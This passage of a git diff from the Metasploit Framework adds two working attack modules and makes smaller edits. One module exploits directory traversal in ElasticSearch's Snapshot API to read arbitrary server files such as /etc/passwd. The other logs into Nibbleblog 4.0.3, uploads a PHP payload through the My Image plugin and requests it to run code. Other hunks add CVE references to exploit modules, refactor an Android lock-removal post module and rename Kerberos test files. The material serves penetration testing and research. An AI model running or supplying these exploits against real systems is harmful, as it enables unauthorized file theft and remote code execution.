Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ElasticSearch Snapshot API Directory Traversal', + 'Description' => %q{ + 'This module exploits a directory traversal vulnerability in + ElasticSearch, allowing an attacker to read arbitrary files + with JVM process privileges, through the Snapshot API.' + }, + 'References' => + [ + ['CVE', '2015-5531'], + ['PACKETSTORM', '132721'] + ], + 'Author' => + [ + 'Benjamin Smith', # Vulnerability Discovery + 'Pedro Andujar ', # Metasploit Module + 'Jose A. Guasch ', # Metasploit Module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(9200), + OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), + OptInt.new('DEPTH', [true, 'Traversal depth', 7]) + ], self.class + ) + + deregister_options('RHOST') + end + + def check_host(ip) + res1 = send_request_raw( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwn'), + 'data' => '{"type":"fs","settings":{"location":"dsr"}}' + ) + + res2 = send_request_raw( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '_snapshot', 'pwnie'), + 'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}' + ) + + if res1.body.include?('true') && res2.body.include?('true') + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def read_file(file) + travs = '_snapshot/pwn/ev1l%2f' + + payload = '../' * datastore['DEPTH'] + + travs << payload.gsub('/', '%2f') + travs << file.gsub('/', '%2f') + + vprint_status("#{peer} - Retrieving file contents...") + + res = send_request_raw( + 'method' => 'GET', + 'uri' => travs + ) + + if res && res.code == 400 + return res.body + else + print_status("Server returned HTTP response code: #{res.code}") + print_status(res.body) + return nil + end + end + + def run_host(ip) + vprint_status("#{peer} - Checking if it's a vulnerable ElasticSearch") + + check_code = check_host(ip) + print_status("#{peer} - #{check_code.second}") + if check_host(ip) != Exploit::CheckCode::Appears + return + end + + filename = datastore['FILEPATH'] + filename = filename[1, filename.length] if filename =~ %r{/^\//} + + contents = read_file(filename) + unless contents + print_error("#{peer} - No file downloaded") + return + end + + begin + data_hash = JSON.parse(contents) + rescue JSON::ParserError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + return + end + + fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*') + fname = datastore['FILEPATH'] + + path = store_loot( + 'elasticsearch.traversal', + 'text/plain', + ip, + fcontent, + fname + ) + print_good("#{peer} - File saved in: #{path}") + end +end diff --git a/modules/exploits/multi/http/nibbleblog_file_upload.rb b/modules/exploits/multi/http/nibbleblog_file_upload.rb new file mode 100644 index 0000000000..290931c1c4 --- /dev/null +++ b/modules/exploits/multi/http/nibbleblog_file_upload.rb @@ -0,0 +1,160 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Nibbleblog File Upload Vulnerability', + 'Description' => %q{ + Nibbleblog contains a flaw that allows a authenticated remote + attacker to execute arbitrary PHP code. This module was + tested on version 4.0.3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name? + 'Roberto Soares Espreto ' # Metasploit Module + ], + 'References' => + [ + ['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html'] + ], + 'DisclosureDate' => 'Sep 01 2015', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['Nibbleblog 4.0.3', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), + OptString.new('USERNAME', [true, 'The username to authenticate with']), + OptString.new('PASSWORD', [true, 'The password to authenticate with']) + ], self.class) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def check + cookie = do_login(username, password) + return Exploit::CheckCode::Detected unless cookie + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin.php'), + 'cookie' => cookie, + 'vars_get' => { + 'controller' => 'settings', + 'action' => 'general' + } + ) + + if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"') + return Exploit::CheckCode::Appears + end + Exploit::CheckCode::Safe + end + + def do_login(user, pass) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin.php') + ) + + fail_with(Failure::Unreachable, 'No response received from the target.') unless res + + session_cookie = res.get_cookies + vprint_status("#{peer} - Logging in...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin.php'), + 'cookie' => session_cookie, + 'vars_post' => { + 'username' => user, + 'password' => pass + } + ) + + return session_cookie if res && res.code == 302 && res.headers['Location'] + nil + end + + def exploit + unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check) + print_error("Target does not appear to be vulnerable.") + return + end + + vprint_status("#{peer} - Authenticating using #{username}:#{password}") + + cookie = do_login(username, password) + fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? + vprint_good("#{peer} - Authenticated with Nibbleblog.") + + vprint_status("#{peer} - Preparing payload...") + payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php" + + data = Rex::MIME::Message.new + data.add_part('my_image', nil, nil, 'form-data; name="plugin"') + data.add_part('My image', nil, nil, 'form-data; name="title"') + data.add_part('4', nil, nil, 'form-data; name="position"') + data.add_part('', nil, nil, 'form-data; name="caption"') + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"") + data.add_part('1', nil, nil, 'form-data; name="image_resize"') + data.add_part('230', nil, nil, 'form-data; name="image_width"') + data.add_part('200', nil, nil, 'form-data; name="image_height"') + data.add_part('auto', nil, nil, 'form-data; name="image_option"') + post_data = data.to_s + + vprint_status("#{peer} - Uploading payload...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, 'admin.php'), + 'vars_get' => { + 'controller' => 'plugins', + 'action' => 'config', + 'plugin' => 'my_image' + }, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'cookie' => cookie + ) + + if res && /Call to a member function getChild\(\) on a non\-object/ === res.body + fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?') + elsif res && !( res.body.include?('Warning') || res.body.include?('warn') ) + fail_with(Failure::Unknown, 'Unable to upload payload.') + end + + vprint_good("#{peer} - Uploaded the payload.") + + php_fname = 'image.php' + payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname) + vprint_status("#{peer} - Parsed response.") + + register_files_for_cleanup(php_fname) + vprint_status("#{peer} - Executing the payload at #{payload_url}.") + send_request_cgi( + 'uri' => payload_url, + 'method' => 'GET' + ) + end +end diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 8570d5745b..5f709764b8 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -32,6 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2015-7709' ], + [ 'EDB', '37600' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jul/54' ] ], 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Aggressive, diff --git a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb index 7af2821d23..14391ebab3 100644 --- a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb +++ b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb @@ -31,6 +31,10 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'EDB', '38174' ], + [ 'CVE', '2015-7765' ], # Hardcoded password + [ 'CVE', '2015-7766' ], # SQL query bypass + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Sep/66' ], + [ 'URL', 'https://support.zoho.com/portal/manageengine/helpcenter/articles/pgsql-submitquery-do-vulnerability' ] ], 'Platform' => ['java'], 'Arch' => ARCH_JAVA, diff --git a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb index 31c0681afb..ad3de555e3 100644 --- a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb +++ b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb @@ -31,7 +31,9 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - ['EDB', '38173'] + ['EDB', '38173'], + ['CVE', '2015-7387'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Sep/59'] ], 'Platform' => ['win'], 'Arch' => ARCH_X86, diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb index 48268c63ff..817cc60fb4 100644 --- a/modules/post/android/manage/remove_lock.rb +++ b/modules/post/android/manage/remove_lock.rb @@ -9,6 +9,7 @@ class Metasploit4 < Msf::Post Rank = NormalRanking include Msf::Post::Common + include Msf::Post::Android::System def initialize(info={}) super( update_info( info, { @@ -39,15 +40,25 @@ class Metasploit4 < Msf::Post )) end - def run - buildprop = cmd_exec('cat /system/build.prop') + def is_version_compat? + build_prop = get_build_prop - if buildprop.blank? - print_error("Blank build.prop, try again") - return + # Sometimes cmd_exec fails to cat build_prop, so the #get_build_prop method returns + # empty. + if build_prop.empty? + fail_with(Failure::Unknown, 'Failed to retrieve build.prop, you might need to try again.') end - unless buildprop =~ /ro.build.version.release=4.[0|1|2|3]/ + android_version = Gem::Version.new(build_prop['ro.build.version.release']) + if android_version <= Gem::Version.new('4.3') && android_version >= Gem::Version.new('4.0') + return true + end + + false + end + + def run + unless is_version_compat? print_error("This module is only compatible with Android versions 4.0 to 4.3") return end diff --git a/spec/lib/msf/kerberos/client/as_request_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb similarity index 93% rename from spec/lib/msf/kerberos/client/as_request_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb index 0bb19abe6d..c1be46e24a 100644 --- a/spec/lib/msf/kerberos/client/as_request_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::AsRequest do +describe Msf::Exploit::Remote::Kerberos::Client::AsRequest do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/kerberos/client/as_response_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb similarity index 98% rename from spec/lib/msf/kerberos/client/as_response_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb index 68584e7156..cebe701d68 100644 --- a/spec/lib/msf/kerberos/client/as_response_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::AsResponse do +describe Msf::Exploit::Remote::Kerberos::Client::AsResponse do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/kerberos/client/base_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb similarity index 94% rename from spec/lib/msf/kerberos/client/base_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/base_spec.rb index cb1f03a495..87fb9e42ca 100644 --- a/spec/lib/msf/kerberos/client/base_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::Base do +describe Msf::Exploit::Remote::Kerberos::Client::Base do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/kerberos/client/cache_credential_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb similarity index 96% rename from spec/lib/msf/kerberos/client/cache_credential_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb index 31688efa0f..159caf6b9d 100644 --- a/spec/lib/msf/kerberos/client/cache_credential_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::CacheCredential do +describe Msf::Exploit::Remote::Kerberos::Client::CacheCredential do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/kerberos/client/pac_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb similarity index 95% rename from spec/lib/msf/kerberos/client/pac_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb index 6251d30e46..698872fc5a 100644 --- a/spec/lib/msf/kerberos/client/pac_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::Pac do +describe Msf::Exploit::Remote::Kerberos::Client::Pac do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/kerberos/client/tgs_request_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb similarity index 98% rename from spec/lib/msf/kerberos/client/tgs_request_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb index d05810c7a5..842ea2af51 100644 --- a/spec/lib/msf/kerberos/client/tgs_request_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::TgsRequest do +describe Msf::Exploit::Remote::Kerberos::Client::TgsRequest do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/kerberos/client/tgs_response_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb similarity index 98% rename from spec/lib/msf/kerberos/client/tgs_response_spec.rb rename to spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb index fe60ddcd52..6f399b0f82 100644 --- a/spec/lib/msf/kerberos/client/tgs_response_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/proto/kerberos' -require 'msf/kerberos/client' +require 'msf/core/exploit/kerberos/client' -describe Msf::Kerberos::Client::TgsResponse do +describe Msf::Exploit::Remote::Kerberos::Client::TgsResponse do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::Kerberos::Client + mod.extend ::Msf::Exploit::Remote::Kerberos::Client mod.send(:initialize) mod end